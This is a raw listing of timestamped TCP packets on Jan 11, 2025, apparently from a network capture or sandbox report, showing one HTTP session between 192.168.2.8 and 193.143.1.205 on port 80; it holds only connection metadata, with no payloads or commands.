Jan 11, 2025 08:17:38.540301085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.549627066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.549644947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.549654007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.549738884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.549977064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.549988985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.549998045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550013065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550023079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550028086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550038099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550044060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.550044060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.550086975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.550187111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550199032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550209045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550327063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.550374985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550385952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550400972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.550437927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.550437927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.553023100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.565417051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.590643883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590671062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590698957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590715885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590732098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590750933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590760946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.590760946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.590770006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.590822935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.595372915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.603260994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.619560957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619601011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619637012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619637966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.619677067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.619870901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619924068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619959116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.619967937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.619993925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620031118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.620047092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620098114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620132923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620142937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.620167971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620203018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620208979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.620238066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620271921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.620276928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.621701956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648397923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648449898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648473978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648485899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648555040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648595095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648607016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648642063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648650885 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648677111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648711920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648725986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648753881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648796082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648803949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648838997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648871899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648885965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648907900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648936987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.648948908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.648972034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649000883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649014950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649039030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649075031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649081945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649111986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649153948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649231911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649266958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649301052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649312973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649416924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649451971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649460077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649490118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649523973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649533987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649559021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649594069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649600983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649751902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649786949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649799109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649821043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649841070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649873018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.649873972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649909019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.649920940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650110960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650142908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650160074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650177956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650213003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650217056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650248051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650285006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650290012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650424957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650456905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650465012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650495052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650528908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650537014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650566101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650608063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650765896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650800943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650835037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650842905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650871038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650904894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650913000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.650939941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.650979996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651037931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651082993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651117086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651124954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651150942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651185036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651199102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651220083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651253939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651254892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651550055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651587009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651602983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651621103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651655912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651660919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651690960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651724100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651730061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.651758909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.651802063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652009010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652044058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652076960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652082920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652112961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652148008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652156115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652188063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652229071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652378082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652412891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652446985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652456999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652482033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652518988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652523994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652554035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652589083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652590990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652698994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652731895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652741909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.652769089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652797937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.652810097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.653455973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.653940916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.653990984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.653996944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654031038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654077053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.654083967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654120922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654155970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654161930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.654191017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654230118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654237032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.654266119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654299974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654308081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.654335976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654371023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.654380083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.685463905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685518026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685529947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.685580015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685616970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685626984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.685652018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685687065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685693026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.685723066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685760021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.685769081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712013006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712099075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712100029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712157011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712192059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712199926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712228060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712263107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712269068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712304115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712348938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712357998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712393045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712425947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712435007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712461948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712503910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712513924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712548971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712583065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712589979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.712622881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712654114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.712663889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.740721941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.740793943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.740822077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.740879059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.740914106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.740920067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.740967035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741003036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741007090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741038084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741074085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741080046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741107941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741144896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741152048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741241932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741276979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741285086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741312981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741348982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741353989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741540909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741575003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741585970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741611004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741645098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741651058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741681099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741714954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741724014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741749048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741787910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741791010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.741964102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.741997957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742007017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742033958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742072105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742077112 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742106915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742136955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742140055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742146015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742176056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742212057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742216110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742588043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742621899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742631912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742655993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742691040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742700100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742724895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742758989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742767096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742794037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742825985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742837906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742861032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742896080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742902040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.742932081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742964983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.742971897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743000031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743035078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743041039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743069887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743108988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743522882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743557930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743591070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743602037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743626118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743660927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743666887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743695974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743729115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743733883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743763924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743798018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743803024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743832111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743865967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743874073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743900061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743933916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.743942022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.743968010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744002104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744008064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744036913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744071960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744076014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744445086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744478941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744488955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744514942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744549036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744554996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:17:38.744584084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:17:38.744617939 CET	80	49705	193.143.1.205	192.168.2.8
